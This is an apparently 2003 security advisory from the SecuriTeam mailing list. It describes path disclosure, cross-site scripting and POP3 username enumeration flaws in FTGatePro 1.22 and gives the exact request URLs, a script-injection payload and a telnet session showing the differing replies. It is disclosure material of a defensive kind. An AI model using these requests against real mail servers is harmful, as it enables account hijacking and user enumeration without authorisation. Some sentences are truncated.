[NT] FGatePro Multiple Vulnerabilities (Path Disclosure, CSS, Username Exposure)
From: SecuriTeam (support_at_securiteam.com)
To: firstname.lastname@example.org Date: 4 Sep 2003 18:32:34 +0200
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FGatePro Multiple Vulnerabilities (Path Disclosure, CSS, Username
<http://www.ftgate.com/> FTGatePro "contains all the features you would
expect from a world-class mail server, including anti-virus integration,
sophisticated anti-SPAM options, comprehensive IP security features, NT
SAM integration, SMTP/ESMTP, web server, web mail, LDAP, POP3, SmartPop,
attachment filters, mail filters, system monitoring, MX delivery, dial-up
facilities, scheduling, user mailboxes, list mailboxes, group mailboxes,
robot mailboxes, autoresponder mailboxes and list servers. FTGatePro is
fully compatible with Windows NT/2000/XP".
The product has been found to contain multiple vulnerabilities allowing a
remote attacker to cause the server to reveal the true path under which it
its own, and to inform the attacker whether the username he provided is
valid or not.
* FTGatePro version 1.22 build 1331
By requesting the following URL:
http://127.0.0.1:8089/utility/wmsecurity.fts, the following response will
Error in C:\Program Files\FTGate\Webs\WebAdmin\utility\wmsecurity.fts
line 13, Undeclared Identifier 'null'
This will allow a remote attacker to reveal the true path under which the
product was installed.
Cross Site Scripting:
By requesting such a URL as: http://127.0.0.1:8089/help/index.fts?href=<
script>alert('C.S.S')</script> it is possible to insert malicious HTML
will allow hijacking of accounts, etc).
Remote User Verification:
Because the server responds differently for invalid usernames and valid
username, it is possible to determine whether a user provided username is
Telnet 127.0.0.1 110
+OK POP3 FTGatePro server ready
-ERR InValid doesn't get mail here
+OK user1 gets mail here
The information has been provided by <mailto:email@example.com> Ziv
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